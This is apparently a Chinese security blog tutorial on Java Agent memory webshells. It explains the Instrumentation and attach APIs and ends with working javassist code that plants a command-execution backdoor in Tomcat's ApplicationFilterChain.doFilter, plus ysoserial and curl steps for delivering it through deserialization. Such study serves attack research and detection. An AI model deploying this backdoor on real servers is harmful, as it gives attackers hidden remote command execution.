基于Java Agent内存马

前言

前面说完最常见的基于Servlet-API型内存马,这里再提一下Java Agent内存马,像冰蝎,哥斯拉工具的内存马注入都是基于 agent 的,以后用到再分析

大的思路

第一种是通过permain()函数实现。定义一个 MANIFEST.MF 文件,指定Premain-Class类,并且类中包含premain() 方法,把premain()MANIFEST.MF文件打包成一个jar包,使用 -javaagent: jar启动要代理的方法,这种javaagent会在宿主程序的main函数的启动前启动自己premain()方法,这个premain()我们使用Instrumentation#addTransformer方法添加一个自定义的ClassFileTransformer实现类的transform,实现Instrumentation接口,这里可以把它理解成一个可以对还未加载的class进行拦截与修改的东西,并且transform方法中我们可以定义一些逻辑,这里逻辑就是再利用javassist技术修改字节码,这里是对doFilter类进行了修改,最终作为transform方法的返回值返回,然后main函数正常执行后我们修改的doFilter执行。

还有一种实现方式是利用agentmain()方法。VirtualMachine类的attach(pid)方法可以将当前进程attach到一个运行中的java进程上,接着利用loadAgent(agentJarPath)来将含符合且含有agentmain函数的jar包注入到对应的进程,调用loadAgent函数后,对应的进程中会多出一个Instrumentation对象,这个对象会被当作agentmain的一个参数。对应进程接着会调用agentmain函数,进而操作Instrumentation对象,Instrumentation对象可以在class加载前拦截字节码进行修改,也可以对已经加载的class重新让它加载,并且修改其中的内容,具体做什么操作,取决于我们的jar文件中的agentmain函数怎么写。

前置知识

Java Agent

在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent,Java Agent 支持两种方式进行加载:

实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有)

Instrumentation 实例

java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序。这种监测和协助包括但不限于获取JVM运行时状态,替换和修改类定义等。简单来说就是Java Instrumentation可以在JVM启动后,类动态修改已加载或者未加载的类,包括类的属性、方法。Instrumentation提供的用来监测运行在JVM中的Java API。

addTransformer/removeTransformer 注册 Transformer,所以我们可以通过编写 ClassFileTransformer 接口的实现类来注册我们自己的转换器
getAllLoadedClasses 列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class
isModifiableClasses 判断某个类是否能被修改。
redefineClasses重新定义已经加载类的字节码
setNativeMethodPrefix动态设置JNI前缀,可以实现Hook native方法。
retransformClasses重新加载已经被JVM加载过的类的字节码,达到对已加载的类进行字节码修改的效果

InstrumentationJVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果,在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据,Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码

ClassFileTransformer接口

​ClassFileTransformer是一个转换类文件的代理接口,我们可以在获取到Instrumentation对象后通过addTransformer方法添加自定义类文件转换器,转换器的返回结果(transform()方法的返回值)将成为转换后的字节码。对于没有加载的类,会使用ClassLoader.defineClass()定义它;对于已经加载的类,会使用ClassLoader.redefineClasses()重新定义,并配合Instrumentation.retransformClasses进行转换。

javassit

Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。
Java安全之Javassist动态编程
10-java安全基础——javassist字节码编程
编程常用的类:

ClassPoolClassPool 类可以控制的类的字节码,例如创建一个类或加载一个类,与 JVM 类装载器类似
CtClassCtClass提供了类的操作,如在类中动态添加新字段、方法和构造函数、以及改变类、父类和接口的方法
CtField:类的属性,通过它可以给类创建新的属性,还可以修改已有的属性的类型,访问修饰符等
CtMethod:表示类中的方法,通过它可以给类创建新的方法,还可以修改返回类型,访问修饰符等, 甚至还可以修改方法体内容代码
CtConstructor:用于访问类的构造,与CtMethod类的作用类似
VirtualMachine

​VirtualMachine可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。

Attach:允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。
Detach:解除Attach
VirtualMachineDescriptor

​VirtualMachineDescriptor是用于描述 Java 虚拟机的容器类。它封装了一个标识目标虚拟机的标识符,以及一个AttachProvider在尝试连接到虚拟机时应该使用的引用。标识符依赖于实现,但通常是进程标识符(或 pid)环境,其中每个 Java 虚拟机在其自己的操作系统进程中运行。

两种运行方式

premain

premain方法会在执行main方法前调用,在运行main方法前会去加载-javaagent指定的jar包里面的Premain-Class类中的premain方法。

所以要实现的三个条件

Premain-Class 指定的那个类必须实现 premain() 方法
jar包中的MANIFEST.MF 文件必须指定 Premain-Class 项
启动Java程序的时候添加-javaagent(Instrumentation API实现方式)-agentpath/-agentlib(JVMTI的实现方式)参数。

实现一下上面的条件,首先是创建一个类,来实现 premain 的这个方法

import java.lang.instrument.Instrumentation;

public class DemoTest {
    public static void premain(String agentArgs, Instrumentation inst) throws Exception{
        System.out.println(agentArgs);
        for(int i=0;i<5;i++){
            System.out.println("premain method is invoked!");
        }
    }
}

接下来是要在mainfest.mf文件中添加内容:

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: DemoTest
//这里要有一个换行符

利用 javac 将 java 文件编译成 class 之后,利用 jar 命令打包,生成我们的 agent.jar

javac DemoTest.java
jar cvfm agent.jar mainfest.mf DemoTest.class

在这里插入图片描述

按照以上步骤我们便可成功生成 agent.jar,再来建一个demo测试类,接下来有两种方法,一种是再生成一个demo.jar文件然后使用java -javaagent去执行,另一种是在idea中配置写入-javaagent参数,-javaagent:out\hello.jar

idea中配置

创建一个普通类作为测试 demo

public class Hello {
    public static void main(String[] args) {
        System.out.println("Hello,Java");
    }
}

配置加入-javaagent参数,-javaagent:agent.jar后面不能有多余的空格。

再生成一个jar包

创建一个普通类作为测试 demo

public class hello {
    public static void main(String[] args) {
        System.out.println("Hello,Java");
    }
}

生成对应hello.mf

Manifest-Version: 1.0
Main-Class: Hello

同样的利用 javac 编译之后打包成 hello.jar

javac hello.java
jar cvfm hello.jar hello.mf Hello.class

在这里插入图片描述

得到了 agent.jar 和 hello.jar。接下来在 java -jar 中添加 -javaagent:agent.jar 即可在启动时优先加载 agent , 而且可利用如下方式获取传入我们的 agentArgs 参数

java -javaagent:agent.jar[=options] -jar hello.jar
eg: java -javaagent:agent.jar=hello -jar hello.jar

在这里插入图片描述

可以看到我们 agent 中 premain 的代码被优先执行了,同时还获取 到了 agentArgs 参数 ,这里传的hello也被打印出来,在实现 premain 的时候,我们除了能获取到 agentArgs 参数,还可以获取 Instrumentation 实例

agentmain

要实现的条件

必须要实现 agentmain 方法
Jar 文件清单中必须要含有 Premain-Class 属性

在 Java JDK6 以后实现启动后加载 Instrument 的是 Attach api。存在于 com.sun.tools.attach 里面有两个重要的类一个是VirtualMachine,一个是VirtualMachineDescriptor

编写 agentmain.java

import java.lang.instrument.Instrumentation;

public class agentmain {
    public static void agentmain(String agentArgs, Instrumentation ins) {
        ins.addTransformer(new DefineTransformer(),true);
    }
}

编写 DefineTransformer.java

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        System.out.println(className);
        return classfileBuffer;
    }
}

创建 jar 文件清单 agentmain.mf,这里我们需要修改已经被JVM加载过的类的字节码,所以需要设置在agentmain.mf中添加Can-Retransform-Classes: trueCan-Redefine-Classes: true

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: agentmain

分别对上面的 java 文件进行编译,然后利用命令行进行打包

jar cvfm agentmain.jar agentmain.mf agentmain.class DefineTransformer.class 

生成agentmain.jar后,编写一个测试类,这里需要把jdk lib目录中的tools.jar添加进当前工程的Libraries中

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class agentmainDemo {
    public static void main(String[] args) throws Exception{
        String path = "agentmain.jar的路径";
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor v:list){
            System.out.println(v.displayName());
            if (v.displayName().contains("AgentMainDemo")){
                // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
                VirtualMachine vm = VirtualMachine.attach(v.id());
                // 将我们的 agent.jar 发送给虚拟机 
                vm.loadAgent(path);
                vm.detach();
            }
        }
    }
}

执行后agentmain.jar中的东西就会被成功调用,因为是通过tools.jar提供 VirtualMachine的attach api,而jdk 默认有 tools.jar,jre 默认没有,如果是mac的话可以从jdk中直接找到 VirtualMachine 类,windows需要手工去Java jdk的lib目录下将该包add as library添加进去。

Java Agent实现内存马

这里先找到我们要注入的类,前面思路也有提到,这里要注入到org.apache.catalina.core.ApplicationFilterChain#doFilter,这个类其实在filter中也有提到,它有ServletRequestServletResponse两个参数,里面封装了请求的request和response,所以在这里拦截的话,它一定会执行,能控制所有的请求和响应,并且不影响正常业务。大体实现的思路就是,生成MyAgent.jar,然后编写java利用代码来使其加载进去(网上挺多通过改cc链)

编写AgentMain.java

import java.lang.instrument.Instrumentation;

public class AgentMain {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String agentArgs, Instrumentation ins) {
        ins.addTransformer(new DefineTransformer(),true);
        // 获取所有已加载的类
        Class[] classes = ins.getAllLoadedClasses();
        for (Class clas:classes){
            if (clas.getName().equals(ClassName)){
                try{
                    // 对类进行重新定义
                    ins.retransformClasses(new Class[]{clas});
                } catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    }
}

编写DefineTransformer.java

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {

    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        className = className.replace("/",".");
        if (className.equals(ClassName)){
            System.out.println("Find the Inject Class: " + ClassName);
            ClassPool pool = ClassPool.getDefault();
            try {
                CtClass c = pool.getCtClass(className);
                CtMethod m = c.getDeclaredMethod("doFilter");
                m.insertBefore("javax.servlet.http.HttpServletRequest req =  request;\n" +
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}");
                byte[] bytes = c.toBytecode();
                // 将 c 从 classpool 中删除以释放内存
                c.detach();
                return bytes;
            } catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}

打包生成agent.jar包,然后利用cc链。
像Y4大佬写的shiro+cc10思路

1.通过命令执行下载或者 base64 写入 MyAgent.jar
2.修改 org/chabug/demo/CC10.java:137MyAgent.jar 绝对路径生成payload
3.发送 rememberMe Cookie

还有大佬生成ser+curl

1.写入MyAgent.jar
2.生成一个ser文件,java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11 codefile:./TestAgentMain.java > cc11demo.ser
3.利用 curl 直接打过去 curl -v "http://localhost:8080/cc11" --data-binary "@./cc11demo.ser"

初探Java安全之JavaAgent
利用“进程注入”实现无文件复活 WebShell
Java 安全之Java Agent
浅谈 Java Agent 内存马
JavaAgent内存马研究

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值